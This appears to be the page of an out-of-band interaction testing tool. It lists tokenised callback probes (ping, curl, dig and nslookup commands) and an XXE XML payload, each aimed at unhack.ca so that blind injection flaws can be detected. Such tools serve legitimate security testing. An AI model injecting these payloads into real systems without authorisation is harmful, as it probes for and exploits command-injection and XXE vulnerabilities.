$ ping -c1 -p 00e23d7d16352e45fd13ddd9f5084800 unhack.ca
 
$ curl http://unhack.ca/p/e23d7d16352e45fd13ddd9f50848
 
$ dig e23d7d16352e45fd13ddd9f50848 @unhack.ca
 
$ dig e23d7d16352e45fd13ddd9f50848.ns.unhack.ca
 
C:\> nslookup e23d7d16352e45fd13ddd9f50848 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e23d7d16352e45fd13ddd9f50848">]>
    <foo>&xxe;</foo>
Waiting for ping...